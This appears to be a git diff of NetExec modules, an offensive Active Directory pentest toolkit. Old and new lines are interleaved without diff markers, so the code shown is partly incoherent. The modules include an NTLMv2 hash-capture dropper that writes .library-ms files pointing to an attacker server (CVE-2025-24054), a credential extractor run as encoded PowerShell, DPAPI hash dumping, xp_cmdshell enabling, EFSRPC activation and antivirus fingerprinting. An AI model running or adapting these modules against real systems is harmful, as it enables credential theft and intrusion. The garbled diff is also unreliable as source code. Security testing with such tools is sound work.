context.log.debug(f"Exception: {e}, {traceback.format_exc()}")
continue
return
if self.action == "read":
self.read(principal_security_descriptor)
self.read(context)
if self.action == "backup":
self.backup(target, target_principal_dn, principal_raw_security_descriptor)
self.backup(context)
# If there are multiple targets
else:
targets = self.target_file.readlines()
for target in targets:
try:
self.target_sAMAccountName = target.strip()
# Searching for target account with its security descriptor
resp = connection.search(
searchFilter=f"(sAMAccountName={escape_filter_chars(self.target_sAMAccountName)})",
attributes=["distinguishedName", "nTSecurityDescriptor"],
searchControls=security_descriptor_control(sdflags=0x04),
)
resp_parsed = parse_result_attributes(resp)[0]
# Extract security descriptor data
self.target_principal_dn = resp_parsed["distinguishedName"]
self.principal_raw_security_descriptor = resp_parsed["nTSecurityDescriptor"]
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
context.log.highlight(f"Target principal found in LDAP ({self.target_sAMAccountName})")
except Exception:
context.log.fail(f"Target SID not found in LDAP ({self.target_sAMAccountName})")
continue
if self.action == "read":
self.read(context)
if self.action == "backup":
self.backup(context)
# Main read funtion
# Prints the parsed DACL
def read(self, principal_security_descriptor):
parsed_dacl = self.parse_dacl(principal_security_descriptor["Dacl"])
self.print_parsed_dacl(parsed_dacl)
def read(self, context):
parsed_dacl = self.parse_dacl(context, self.principal_security_descriptor["Dacl"])
self.print_parsed_dacl(context, parsed_dacl)
# Permits to export the DACL of the targets
# This function is called before any writing action (write, remove or restore)
def backup(self, target, target_principal_dn, principal_raw_security_descriptor):
def backup(self, context):
backup = {}
backup["sd"] = binascii.hexlify(principal_raw_security_descriptor).decode("latin-1")
backup["dn"] = str(target_principal_dn)
timestamp = datetime.datetime.now().strftime("%Y%m%d-%H%M%S")
filename = f"dacledit-{timestamp}-{target}.bak"
with open(filename, "w", encoding="latin-1") as outfile:
backup["sd"] = binascii.hexlify(self.principal_raw_security_descriptor).decode("latin-1")
backup["dn"] = str(self.target_principal_dn)
if not self.filename:
self.filename = "dacledit-{}-{}.bak".format(
datetime.datetime.now().strftime("%Y%m%d-%H%M%S"),
self.target_sAMAccountName,
)
with codecs.open(self.filename, "w", "latin-1") as outfile:
json.dump(backup, outfile)
self.context.log.highlight(f"DACL backed up to {filename}")
context.log.highlight("DACL backed up to %s", self.filename)
self.filename = None
def resolveSID(self, sid):
"""Resolves a SID to its corresponding sAMAccountName."""
@@ -363,11 +394,11 @@ class NXCModule:
# Parses a full DACL
# - dacl : the DACL to parse, submitted in a Security Desciptor format
def parse_dacl(self, dacl):
def parse_dacl(self, context, dacl):
parsed_dacl = []
self.context.log.debug("Parsing DACL")
context.log.debug("Parsing DACL")
for ace in dacl["Data"]:
parsed_ace = self.parse_ace(ace)
parsed_ace = self.parse_ace(context, ace)
parsed_dacl.append(parsed_ace)
return parsed_dacl
@@ -382,7 +413,7 @@ class NXCModule:
# Parses a specified ACE and extract the different values (Flags, Access Mask, Trustee, ObjectType, InheritedObjectType)
# - ace : the ACE to parse
def parse_ace(self, ace):
def parse_ace(self, context, ace):
# For the moment, only the Allowed and Denied Access ACE are supported
if ace["TypeName"] in [
"ACCESS_ALLOWED_ACE",
@@ -424,9 +455,12 @@ class NXCModule:
except KeyError:
parsed_ace["Inherited type (GUID)"] = f"UNKNOWN ({inh_obj_type})"
# Extract the Trustee SID (the object that has the right over the DACL bearer)
parsed_ace["Trustee (SID)"] = f"{self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or 'UNKNOWN'} ({ace['Ace']['Sid'].formatCanonical()})"
parsed_ace["Trustee (SID)"] = "{} ({})".format(
self.resolveSID(ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN",
ace["Ace"]["Sid"].formatCanonical(),
)
else: # if the ACE is not an access allowed
self.context.log.debug(f"ACE Type ({ace['TypeName']}) unsupported for parsing yet, feel free to contribute")
context.log.debug(f"ACE Type ({ace['TypeName']}) unsupported for parsing yet, feel free to contribute")
_ace_flags = [FLAG.name for FLAG in ACE_FLAGS if ace.hasFlag(FLAG.value)]
parsed_ace = {
"ACE type": ace["TypeName"],
@@ -435,18 +469,18 @@ class NXCModule:
}
return parsed_ace
def print_parsed_dacl(self, parsed_dacl):
def print_parsed_dacl(self, context, parsed_dacl):
"""Prints a full DACL by printing each parsed ACE
parsed_dacl : a parsed DACL from parse_dacl()
"""
self.context.log.debug("Printing parsed DACL")
context.log.debug("Printing parsed DACL")
# If a specific right or a specific GUID has been specified, only the ACE with this right will be printed
# If an ACE type has been specified, only the ACE with this type will be specified
# If a principal has been specified, only the ACE where he is the trustee will be printed
for i, parsed_ace in enumerate(parsed_dacl):
print_ace = True
self.context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}")
context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}")
# Filter on specific rights
if self.rights is not None:
@@ -460,7 +494,7 @@ class NXCModule:
if (self.rights == "ResetPassword") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.ResetPassword.value not in parsed_ace["Object type (GUID)"])):
print_ace = False
except Exception as e:
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights=}, probably because of ACE type unsupported for parsing yet ({e})")
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights=}, probably because of ACE type unsupported for parsing yet ({e})")
# Filter on specific right GUID
if self.rights_guid is not None:
@@ -468,7 +502,7 @@ class NXCModule:
if ("Object type (GUID)" not in parsed_ace) or (self.rights_guid not in parsed_ace["Object type (GUID)"]):
print_ace = False
except Exception as e:
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights_guid=}, probably because of ACE type unsupported for parsing yet ({e})")
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights_guid=}, probably because of ACE type unsupported for parsing yet ({e})")
# Filter on ACE type
if self.ace_type == "allowed":
@@ -476,13 +510,13 @@ class NXCModule:
if ("ACCESS_ALLOWED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_ALLOWED_ACE" not in parsed_ace["ACE Type"]):
print_ace = False
except Exception as e:
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
else:
try:
if ("ACCESS_DENIED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_DENIED_ACE" not in parsed_ace["ACE Type"]):
print_ace = False
except Exception as e:
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
# Filter on trusted principal
if self.principal_sid is not None:
@@ -490,7 +524,7 @@ class NXCModule:
if self.principal_sid not in parsed_ace["Trustee (SID)"]:
print_ace = False
except Exception as e:
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})")
context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})")
if print_ace:
self.context.log.highlight(f"ACE[{i}] info")
self.print_parsed_ace(parsed_ace)
+1 -5
View File
@@ -1,11 +1,7 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "dfscoerce"
description = "[REMOVED] Module to check if the DC is vulnerable to DFSCoerce, credit to @filip_dragovic/@Wh04m1001 and @topotam"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self, context=None, module_options=None):
self.context = context
@@ -19,4 +15,4 @@ class NXCModule:
self.listener = module_options["LISTENER"]
def on_login(self, context, connection):
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
-68
View File
@@ -1,68 +0,0 @@
from impacket.structure import Structure
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""Module by @MaxToffy"""
name = "dns-nonsecure"
description = "Detects DNS zones that allow nonsecure dynamic updates"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""No options available"""
def on_login(self, context, connection):
search_bases = {
"domain": f"CN=MicrosoftDNS,DC=DomainDnsZones,{connection.baseDN}",
"forest": f"CN=MicrosoftDNS,DC=ForestDnsZones,{connection.forestDN}"
}
for dns_type, search_base in search_bases.items():
# Search for domain DNS zones
resp = connection.search(
searchFilter="(objectClass=dnsZone)",
attributes=["name", "dNSProperty"],
baseDN=search_base,
)
zones = parse_result_attributes(resp)
# Get dynamic updates configuration for each zones
allows_nonsecure_updates = []
for zone in zones:
for prop in zone["dNSProperty"]:
dns_properties = DNS_PROPERTY(prop)
# [MS-DNSP] 2.2.5.2.4.1 - DNS_RPC_ZONE_INFO_W2K - fAllowUpdate
if dns_properties["Id"] == DSPROPERTY_ZONE_ALLOW_UPDATE and int.from_bytes(dns_properties["Data"]) == ZONE_UPDATE_UNSECURE:
allows_nonsecure_updates.append(zone["name"])
if allows_nonsecure_updates:
context.log.success(f"{dns_type.capitalize()} DNS zone(s) allowing nonsecure dynamic updates")
for zone in allows_nonsecure_updates:
context.log.highlight(zone)
else:
context.log.fail(f"No {dns_type} DNS zones allowing nonsecure dynamic updates")
# [MS-DNSP] - 2.3.2.1 - dnsProperty
class DNS_PROPERTY(Structure):
structure = (
("DataLength", "<L-Data"),
("NameLength", "<L"),
("Flag", "<L"),
("Version", "<L"),
("Id", "<L"),
("Data", ":"),
("Name", "1s"),
)
# [MS-DNSP] - 2.3.2.1.1 - Property Id
DSPROPERTY_ZONE_ALLOW_UPDATE = 0x02
# [MS-DNSP] - 2.2.5.2.4.1 - fAllowUpdate values
ZONE_UPDATE_OFF = 0x00000000
ZONE_UPDATE_UNSECURE = 0x00000001
ZONE_UPDATE_SECURE = 0x00000002
+5 -6
View File
@@ -1,6 +1,6 @@
from dploot.lib.target import Target
from dploot.triage.masterkeys import MasterkeysTriage
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
# Based on dpapimk2john, original work by @fist0urs
@@ -10,7 +10,6 @@ class NXCModule:
name = "dpapi_hash"
description = "Remotely dump Dpapi hash based on masterkeys"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""OUTPUTFILE Output file to write hashes"""
@@ -35,12 +34,12 @@ class NXCModule:
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
try:
context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
masterkeys_triage = MasterkeysTriage(
@@ -58,6 +57,6 @@ class NXCModule:
else:
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
context.log.highlight(mkhash)
except Exception as e:
context.log.debug(f"Could not get masterkeys: {e}")
context.log.debug(f"Could not get masterkeys: {e}")
-90
View File
@@ -1,90 +0,0 @@
import ntpath
from nxc.paths import TMP_PATH
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Requested by the issue #652, heavily inspired by drop-sc, scuffy and slinky modules
https://research.checkpoint.com/2025/cve-2025-24054-ntlm-exploit-in-the-wild/
https://cti.monster/blog/2025/03/18/CVE-2025-24071.html
Module by: @XedSama
"""
name = "drop-library-ms"
description = "Creates and uploads an arbitrary .library-ms on writable shares, leveraging CVE-2025-24054 for looting NTLMv2 hash"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.ignore_shares = ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]
self.server = None
self.lms_name = ""
self.cleanup = False
self.local_path = None
self.remote_path = None
def options(self, context, module_options):
"""
SERVER Attacker machine
NAME File name
IGNORE Specific shares to ignore (comma separated, default: C$,ADMIN$,NETLOGON,SYSVOL)
CLEANUP Cleaning option (True or False)
"""
if "SERVER" not in module_options and not self.cleanup:
context.log.fail("SERVER option is required")
exit(1)
if "NAME" not in module_options:
context.log.fail("NAME option is required!")
exit(1)
if "IGNORE" in module_options:
self.ignore_shares = module_options["IGNORE"].split(",")
context.log.debug(f"Ignoring shares: {self.ignore_shares}")
if "CLEANUP" in module_options:
self.cleanup = bool(module_options["CLEANUP"])
context.log.debug(f"CLEANUP is set to {self.cleanup}")
self.local_path = f"{TMP_PATH}/{self.lms_name}.library-ms"
self.remote_path = ntpath.join("\\", f"{self.lms_name}.library-ms")
if not self.cleanup:
self.server = module_options["SERVER"]
with open(self.local_path, "w", encoding="utf-8") as libms:
libms.truncate(0)
libms.write('<?xml version="1.0" encoding="UTF-8"?>')
libms.write('<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">')
libms.write("<searchConnectorDescriptionList>")
libms.write("<searchConnectorDescription>")
libms.write("<simpleLocation>")
libms.write(f"<url>\\\\{self.server}\\LIBRARY</url>")
libms.write("</simpleLocation>")
libms.write("</searchConnectorDescription>")
libms.write("</searchConnectorDescriptionList>")
libms.write("</libraryDescription>")
def on_login(self, context, connection):
shares = connection.shares()
for share in shares:
if "WRITE" in share["access"] and share["name"] not in self.ignore_shares:
context.log.success(f"Found writable share : {share['name']}")
if self.cleanup:
try:
connection.conn.deleteFile(share["name"], self.remote_path)
context.log.success(f"Deleted .library-ms file on share '{share['name']}'")
except Exception as e:
context.log.fail(f"Error deleting .library-ms file on share '{share['name']}' : {e}")
else:
with open(self.local_path, "rb") as libms:
try:
connection.conn.putFile(share["name"], self.remote_path, libms.read)
context.log.success(f"Created .library-ms file on share '{share['name']}'")
except Exception as e:
context.log.fail(f"Error writing .library-ms file on share '{share['name']}' : {e}")
-2
View File
@@ -1,6 +1,5 @@
import ntpath
import tempfile
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -13,7 +12,6 @@ class NXCModule:
name = "drop-sc"
description = "Drop a searchConnector-ms file on each writable share"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
+2 -7
View File
@@ -1,12 +1,10 @@
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
name = "dump-computers"
description = "Dumps FQDN and OS of all computers in the domain"
description = "Dumps all computers in the domain"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""
@@ -43,11 +41,8 @@ class NXCModule:
context.log.debug(f"Total number of records returned: {len(resp_parsed)}")
for item in resp_parsed:
dns_host_name = item.get("dNSHostName")
dns_host_name = item["dNSHostName"]
operating_system = item.get("operatingSystem", "Unknown OS")
if not dns_host_name:
context.log.debug(f"Skipping computer without dNSHostName: {item.get('cn', '<unknown>')}")
continue
if self.netbios_only:
netbios_name = dns_host_name.split(".")[0]
+94 -4
View File
@@ -1,13 +1,33 @@
import ntpath
from nxc.helpers.misc import gen_random_string
from nxc.context import Context
from nxc.helpers.misc import CATEGORY
from impacket.smb3structs import FILE_SHARE_WRITE, FILE_SHARE_DELETE, FILE_ATTRIBUTE_ENCRYPTED
from impacket.smbconnection import SessionError, SMBConnection
def get_error_string(exception):
if hasattr(exception, "getErrorString"):
try:
es = exception.getErrorString()
except KeyError:
return f"Could not get nt error code {exception.getErrorCode()} from impacket: {exception}"
if type(es) is tuple:
return es[0]
else:
return es
else:
return str(exception)
class NXCModule:
"""EFSR Spray Module
Module by @rtpt-romankarwacik
"""
name = "efsr_spray"
description = "[REMOVED] Tries to activate the EFSR service by creating a file with the encryption attribute on some available share."
description = "Tries to activate the EFSR service by creating a file with the encryption attribute on some available share."
supported_protocols = ["smb"]
excluded_shares = ["SYSVOL"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context: Context, module_options: dict[str, str]):
"""
@@ -15,6 +35,76 @@ class NXCModule:
SHARE_NAME If set, ONLY this share will be used
EXCLUDED_SHARES List of share names which will not be used, seperated by comma
"""
self.file_name = module_options.get("FILE_NAME", ntpath.normpath("\\" + gen_random_string() + ".txt"))
self.share_name = module_options.get("SHARE_NAME")
if module_options.get("EXCLUDED_SHARES"):
self.excluded_shares += module_options.get("EXCLUDED_SHARES", "").split(",")
def on_login(self, context: Context, connection):
context.log.fail('[REMOVED] This module has been made obsolete and EFS will be activated automatically by "coerce_plus"')
conn: SMBConnection = connection.conn # Because typing is broken due to smb being a folder and a file >:(
try:
shares = conn.listShares()
except SessionError as e:
error = get_error_string(e)
context.log.fail(f"Error enumerating shares: {error}", color="magenta")
return
# Check if named pipe is already available
try:
named_pipe_names = [f.get_shortname() for f in conn.listPath("IPC$", "*")]
if "efsrpc" in named_pipe_names:
context.log.highlight("efsrpc named pipe is already available!")
# if it is already activated we just skip this computer
return
except SessionError as e:
error = get_error_string(e)
context.log.fail(f"Error enumerating named pipes: {error}", color="magenta")
return
# Write an encrypted file on the share root.
# This will likely fail with STATUS_ACCESS_DENIED if we do not have the permission to create encrypted files,
# but this does not matter as the service will be activated nevertheless if we have WRITE or MODIFY access
for share in shares:
share_name = share["shi1_netname"][:-1]
if self.share_name is not None and self.share_name != share_name:
continue
if share_name in self.excluded_shares:
continue
try:
context.log.debug(f"Connecting to share {share_name}...")
tid = conn.connectTree(share_name)
except SessionError as e:
context.log.debug(f"Could not connect to share {share_name}: {e}")
continue
try:
context.log.debug(f"Creating file in {share_name}...")
fid = conn.createFile(tid, self.file_name,
desiredAccess=FILE_SHARE_WRITE,
shareMode=FILE_SHARE_DELETE,
fileAttributes=FILE_ATTRIBUTE_ENCRYPTED)
conn.closeFile(tid, fid)
try:
# this can happen when we have special permissions to create encrypted files
conn.deleteFile(share_name, self.file_name)
except SessionError as e:
error = get_error_string(e)
if error == "STATUS_OBJECT_NAME_NOT_FOUND":
pass
context.log.fail(f"Error DELETING created temp file {self.file_name} on share {share_name}: {error}")
except SessionError as e:
context.log.debug(f"Error writing encrypted file on share {share_name}: {get_error_string(e)} (This does not necessarily mean that the attack failed!)")
try:
tid = conn.connectTree("IPC$")
conn.waitNamedPipe(tid, "efsrpc", 10)
context.log.highlight("Successfully activated efsrpc named pipe!")
except SessionError as e:
error = get_error_string(e)
if error == "STATUS_OBJECT_NAME_NOT_FOUND":
context.log.debug("efsrpc pipe was not activated.")
else:
context.log.fail(f"Error waiting for named pipe: {error}", color="magenta")
return
-2
View File
@@ -1,7 +1,6 @@
import sys
import requests
from requests import ConnectionError
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -13,7 +12,6 @@ class NXCModule:
name = "empire_exec"
description = "Uses Empire's RESTful API to generate a launcher for the specified listener and executes it"
supported_protocols = ["smb", "mssql"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
+4 -10
View File
@@ -1,6 +1,3 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Enables or disables xp_cmdshell in MSSQL Server.
@@ -10,7 +7,6 @@ class NXCModule:
name = "enable_cmdshell"
description = "Enable or disable xp_cmdshell in MSSQL Server"
supported_protocols = ["mssql"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self):
self.mssql_conn = None
@@ -46,7 +42,8 @@ class NXCModule:
def backup_show_advanced_options(self):
"""Backs up the current state of 'show advanced options'."""
res = self.mssql_conn.sql_query("SELECT CAST(value AS INT) AS value FROM sys.configurations WHERE name = 'show advanced options'")
query = "SELECT CAST(value AS INT) AS value FROM sys.configurations WHERE name = 'show advanced options'"
res = self.mssql_conn.sql_query(query)
if res:
self.advanced_options_backup = int(res[0]["value"]) # Convert to integer
@@ -58,7 +55,6 @@ class NXCModule:
def toggle_xp_cmdshell(self, enable: bool):
"""Enables or disables xp_cmdshell while preserving 'show advanced options' state."""
state = "1" if enable else "0"
action_text = "enabled" if enable else "disabled"
# Backup 'show advanced options' state
self.backup_show_advanced_options()
@@ -69,10 +65,8 @@ class NXCModule:
try:
# Enable or disable xp_cmdshell
self.mssql_conn.sql_query(f"EXEC sp_configure 'xp_cmdshell', '{state}'; RECONFIGURE;")
if self.mssql_conn.lastError:
self.context.log.fail(f"Failed to {action_text[:-1]} xp_cmdshell: {self.mssql_conn.lastError}")
else:
self.context.log.success(f"xp_cmdshell successfully {action_text}.")
action_text = "enabled" if enable else "disabled"
self.context.log.success(f"xp_cmdshell successfully {action_text}.")
except Exception as e:
self.context.log.fail(f"Failed to execute command: {e}")
-2
View File
@@ -2,7 +2,6 @@
import re
from termcolor import colored
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.config import host_info_colors
@@ -13,7 +12,6 @@ class NXCModule:
name = "entra-id"
description = "Find the Entra ID sync server"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def __init__(self):
self.context = None
+49
View File
@@ -0,0 +1,49 @@
from base64 import b64encode
from nxc.helpers.powershell import get_ps_script
class NXCModule:
"""
Example:
-------
Module by @NeffIsBack
"""
name = "entra-sync-creds"
description = "Extract Entra ID sync credentials from the target host"
supported_protocols = ["smb"]
opsec_safe = True
def __init__(self):
self.context = None
self.module_options = None
self.entra_id_psscript = ""
with open(get_ps_script("entra-sync-creds/entra-sync-creds.ps1")) as psFile:
for line in psFile:
if line.startswith("#") or line.strip() == "":
continue
else:
self.entra_id_psscript += line.strip() + "\n"
def options(self, context, module_options):
"""No module options available."""
def on_admin_login(self, context, connection):
self.context = context
psScript_b64 = b64encode(self.entra_id_psscript.encode("UTF-16LE")).decode("utf-8")
out = connection.execute(f"powershell.exe -e {psScript_b64} -OutputFormat Text", True)
if "CLIXML" in out:
out = out.split("CLIXML")[1].split("<Objs Version")[0]
for line in out.splitlines():
if not line.strip():
continue
if "[!]" in line:
self.context.log.fail(line.replace("[!]", "").strip())
else:
self.context.log.highlight(line.strip())
+1 -70
View File
@@ -7,7 +7,6 @@ from impacket.dcerpc.v5 import lsat, lsad, transport
from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
import pathlib
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -19,7 +18,6 @@ class NXCModule:
name = "enum_av"
description = "Gathers information on all endpoint protection solutions installed on the the remote host(s) via LsarLookupNames (no privilege needed)"
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
@@ -264,17 +262,6 @@ conf = {
{"name": "CybereasonAPServerProxyIpc_*", "processes": ["minionhost.exe"]}
]
},
{
"name": "Check Point Endpoint Security",
"services": [
{"name": "CPDA", "description": "Check Point Endpoint Agent"},
{"name": "vsmon", "description": "Check Point Endpoint Security Network Protection"},
{"name": "CPFileAnlyz", "description": "Check Point Endpoint Security File Analyzer"},
{"name": "EPClientUIService", "description": "Check Point Endpoint Security Client UI"}
],
"pipes": []
},
{
"name": "ESET",
"services": [
@@ -289,24 +276,6 @@ conf = {
],
"pipes": [{"name": "nod_scriptmon_pipe", "processes": [""]}],
},
{
"name": "FortiClient",
"services": [
{"name": "FA_Scheduler", "description": "FortiClient Service Scheduler"},
{"name": "FCT_SecSvr", "description": "Forticlient Endpoint Protected Process Service"}
],
"pipes": [
{"name": "FortiClient_DBLogDaemon", "processes": ["FCDBLog.exe"]},
{"name": "FC_*", "processes": ["FortiTray.exe"]}
]
},
{
"name": "FortiEDR",
"services": [
{"name": "FortiEDR Collector Service", "description": "Host component of the Fortinet Endpoint Detection and Response Platform"}
],
"pipes": []
},
{
"name": "G DATA Security Client",
"services": [
@@ -326,17 +295,6 @@ conf = {
],
"pipes": []
},
{
"name": "Kaseya Agent Endpoint",
"services": [
{"name": "KAENDKSAASC*", "description": "Virtual System Administrator Endpoint"},
{"name": "KAKSAASC*", "description": "Machine.Group ID:*"},
],
"pipes": [
{"name": "kaseyaUserKSA*", "processes": ["KaUsrTsk.exe"]},
{"name": "kaseyaAgentKSA*", "processes": ["AgentMon.exe"]}
]
},
{
"name": "Kaspersky Security for Windows Server",
"services": [
@@ -349,18 +307,6 @@ conf = {
{"name": "Exploit_Blocker", "processes": ["kavfswh.exe"]}
]
},
{
"name": "Malwarebytes",
"services": [
{"name": "MBAMService", "description": "Malwarebytes Service"},
{"name": "MBEndpointAgent", "description": "Malwarebytes Cloud Endpoint Agent Service"}
],
"pipes": [
{"name": "MBLG", "processes": ["MBAMService.exe"]},
{"name": "MBEA2_R", "processes": ["MBCloudEA.exe"]},
{"name": "MBEA2_W", "processes": ["MBCloudEA.exe"]}
]
},
{
"name": "Panda Adaptive Defense 360",
"services": [
@@ -430,7 +376,7 @@ conf = {
{"name": "masvc", "description": "Trellix Agent Service"},
{"name": "macmnsvc", "description": "Trellix Agent Common Service"},
{"name": "mfetp", "description": "Trellix Endpoint Threat Prevention Service"},
{"name": "mfewc", "description": "Trellix Endpoint Security Web Control Service"},
{"name": "mfewc", "description": "Trellix Endpoint Security Web Control Service"},
{"name": "mfeaack", "description": "Trellix Anti-Malware Core Service"}
],
"pipes": [
@@ -470,21 +416,6 @@ conf = {
{"name": "WdNisSvc", "description": "Windows Defender Antivirus Network Inspection Service"}
],
"pipes": []
},
{
"name": "WithSecure Elements",
"services": [
{"name": "fsdevcon", "description": "WithSecure Device Control"},
{"name": "fshoster", "description": "WithSecure Hoster"},
{"name": "fsnethoster", "description": "WithSecure Hoster (Restricted)"},
{"name": "fsulhoster", "description": "WithSecure Ultralight Hoster"},
{"name": "fsulnethoster", "description": "WithSecure Ultralight Network Hoster"},
{"name": "fsulprothoster", "description": "WithSecure Ultralight Protected Hoster"},
{"name": "wsulavprohoster", "description": "WithSecure Ultralight Protected AV Hoster"}
],
"pipes": [
{"name": "FS_CCFIPC_*", "processes": ["fsatpn.exe", "fsatpl.exe", "fshoster32.exe", "fsulprothoster.exe", "fsulprothoster.exe", "fshoster64.exe", "FsPisces.exe", "fsdevcon.exe"]}
]
}
]
}
+3 -6
View File
@@ -6,7 +6,6 @@ from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from impacket import uuid
import requests
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -24,15 +23,14 @@ class NXCModule:
name = "enum_ca"
description = "Anonymously uses RPC endpoints to hunt for ADCS CAs"
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
supported_protocols = ["smb"] # Example: ['smb', 'mssql']
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""No options available"""
pass
def on_login(self, context, connection):
self.__username = connection.username
@@ -80,8 +78,7 @@ class NXCModule:
RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:
context.log.fail("This usually means the target does not allow "
"to connect to its epmapper using RpcProxy.")
return
return
for entry in entries:
tmpUUID = str(entry["tower"]["Floors"][0])
-2
View File
@@ -1,6 +1,5 @@
from datetime import datetime
from nxc.helpers.logger import write_log
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
@@ -13,7 +12,6 @@ class NXCModule:
name = "enum_dns"
description = "Uses WMI to dump DNS from an AD DNS Server"
supported_protocols = ["smb", "wmi"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
-4
View File
@@ -1,6 +1,3 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Enumerate SQL Server users with impersonation rights
@@ -10,7 +7,6 @@ class NXCModule:
name = "enum_impersonate"
description = "Enumerate users with impersonation privileges"
supported_protocols = ["mssql"]
category = CATEGORY.ENUMERATION
def __init__(self):
self.mssql_conn = None
-95
View File
@@ -1,95 +0,0 @@
#!/usr/bin/env python3
import contextlib
from impacket.examples.secretsdump import RemoteOperations
from impacket.dcerpc.v5 import rrp
from impacket.dcerpc.v5.rpcrt import DCERPCException
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Retrieve the list of network interfaces info (Name, IP Address, Subnet Mask, Default Gateway) from remote Windows registry'
Formerly --interfaces parameter
Made by: @Sant0rryu, @NeffIsBack
"""
name = "enum_interfaces"
description = "Retrieve the list of network interfaces info (Name, IP Address, Subnet Mask, Default Gateway) from remote Windows registry (formerly --interfaces)"
supported_protocols = ["smb"]
opsec_safe = False
category = CATEGORY.ENUMERATION
def __init__(self):
self.context = None
self.module_options = {}
def options(self, context, module_options):
"""No options available"""
def on_admin_login(self, context, connection):
"""Execute network interface enumeration on authenticated SMB connection"""
self.context = context
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
if remoteOps._RemoteOperations__rrp:
reg_handle = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, "SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces")["phkResult"]
sub_key_list = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
sub_keys = [rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, key_handle, i)["lpNameOut"][:-1] for i in range(sub_key_list)]
context.log.highlight(f"{'-Name-':<11} | {'-IP Address-':<15} | {'-SubnetMask-':<15} | {'-Gateway-':<15} | -DHCP-")
for sub_key in sub_keys:
interface = {}
try:
interface_key = f"SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\{sub_key}"
